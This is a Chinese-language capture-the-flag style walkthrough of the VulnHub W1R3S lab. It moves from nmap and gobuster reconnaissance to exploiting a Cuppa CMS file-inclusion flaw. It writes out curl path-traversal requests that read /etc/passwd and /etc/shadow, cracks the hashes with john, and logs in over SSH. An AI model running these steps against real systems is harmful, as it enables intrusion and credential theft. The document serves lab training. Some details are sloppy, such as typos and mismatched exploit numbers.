环境安装
在vulnhub网站上下载相应的文件,并解压。
然后打开VMware,左上角文件→打开,选择解压后的文件夹
nmap扫描与分析
主机发现
sudo nmap -sn 192.168.135.0/24
-sn:在主机发现后不进行端口扫描,只打印响应了主机嗅探的可用主机;允许对目标进行轻量级的侦察,而不会引起太多的注意。
通过比较得到目的靶机地址:192.168.135.130
扫描
端口扫描
sudo nmap -sT --min-rate 10000 -p- 192.168.135.130 -oA nmapscan/ports
--min-rate:最低速度,在现实渗透中,过高的速度会引起注意,所以要设置
-sT:明确指定TCP协议进行扫描,通过发送完整的TCP请求进行探测,速度慢,但更准确 -sS:扫描技术的默认值,利用TCP中SYN标志位探测端口,只建立TCP连接的第一步,速度快
-oA:全格式输出
详细信息扫描-TCP扫描
sudo nmap -sT -sV -sC -O -p21,22,80,3306 192.168.135.130 -oA nmapscan/detail
-sT:指定以TCP协议进行扫描
-sV:探测各服务的版本
-sC:用默认脚本扫描
-O:探测操作系统版本
-oA:全格式输出
UDP扫描
sudo nmap -sU --top-ports 20 192.168.135.130 -oA nmapscan/udp
-sU:指定以UDP协议进行扫描
--top-ports:以常用的20个UDP端口进行扫描
-oA:全格式输出
漏洞脚本扫描
sudo nmap --script=vuln -p21,80,22,3306 192.168.135.130 -oA nmapscan/vuln
ps:若是以上都没收获,可考虑ipv6方面
渗透阶段
21-ftp
ftp匿名登陆:用户名:anonymous 密码为空
在ftp中最好换为二进制模式:binary
ftp退出:quit
prompt:关闭交互式提示模式
mget:下载文件
下载所有文件:mgat *.txt
分析
New FTP Server For W1R3S.inc
W1R3S→wires
01ec2d8fc11c493b25029fb1f47f39ce
根据经验得知,该密文为md5,网上搜解密
SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==
可直接在kali上解码:
echo "SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==" | base64 -d
ı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡ ....punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ
可以使用kali的命令,也可以在网上找相应的工具:Upside Down Text | Flip Text, Type Upside Down, or Backwards Text
3306-mysql
由于不知道MySQL(在之前的详细信息扫描确定数据库类型是mysql)的账号密码,所以选择默认的root,密码为空,测试失败
80
查看网页: http://192.168.135.130
ps:该页面一般来说是维持架设服务器时的原貌
右键→查看源码:未发现特殊内容
目录爆破:
sudo gobuster dir -u http://192.168.135.130 --wordlist=/usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt
我更新了镜像源,然后还更新了系统,所以有些命令可能和网上的教程有一点出入
directory-list-lowercase-2.3-medium.txt文件是kali中自带的一个字典文件
成功跑出来了,然后就是对网页的排查:
http://192.168.135.130/wordpress/
这里发现:网址自动跳转到localhost,所以我们更改一下host文件
vim /etc/hosts
192.168.135.130 localhost
192.168.135.130 localhost.com
ps:这里的localhost.com是为了验证kail环境是否允许localhost指向除127.0.0.1的其他ip
经检验发现:localhost无法定位到192.168.135.130,而localhst.com可以
所以如果需要继续深入的话,就需要更改kali的配置,而在还有其他网站没有检测的情况下,我更偏向于先将其记下,放一边,先对其他的内容进行渗透测试。
所以这一步就到这里
http://192.168.135.130/javascript/
网页访问失败
http://192.168.135.130/administrator/installation/
显示的是安装页面,如果点击next,有可能会进行安装,有可能会对系统、服务器进行不可逆的修改,或者被管理员发现,这里需要自己知道相应的后果。
这里发现数据库名字写错了“databas”,这可以看成是一个特殊字符,可能是突破口,可以根据这个词去搜索,可能可以搜到对应的产品。
不过因为这是一个靶机,所以这方面并不适用,那就只能接着往下走了:
先填写相应的信息,然后点击next。
我这里是为了看,在安装成功后能否给我一个可以安装的后台
显示管理员创建是失败的,没有创建成功,那这条路就走不通了。
那让我们来想想,创建的这个是一套内容管理系统,会有人使用,那内容管理系统可能可以在网上搜到一些公开漏洞供给我们利用。直接在kali中用命令搜索:
searchsploit cuppa cms
发现就一条内容,那就下载下来看看
searchsploit cuppa -m 25971
-m:镜像下载的意思
25971:之前命令搜索显示的结果是25971.txt
查看文件:
cat 25971.txt
这里有很多信息,根据信息提示,有可能有文件上传漏洞
根据文件内容进行甄别,更改访问相应的网址:http://192.168.135.130/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
有反应,但是无相应的passwd,源码中也没有
猜测:可能是passwd并不是通过get方式传输,可能是post;这是一套内容管理系统,那我可以通过下载相应的代码进行代码审计。
在网上搜索
根据52971.txt文件的内容进行代码审计
发现它就是用post的方式进行传输的,那我就可以构造相应的命令:
curl --data-urlencode 'urlConfig=../../../../../../../../../etc/passwd' http://192.168.135.130/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
发现第二段都是“x”说明密码是以哈希的方式存在了shadow文件中,打开文件:
curl --data-urlencode 'urlConfig=../../../../../../../../../etc/shadow' http://192.168.135.130/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
看到这个,那就把含有哈希的内容进行保存并破解:
vim shadow.hash john shadow.hash //破解哈希
密码破解完毕,那我们进行一个一个的尝试:
sudo ssh w1r3s@192.168.135.130
passowrd:computer
id:查看权限
sudo -l:可以运行的权限
以上已经完成了提权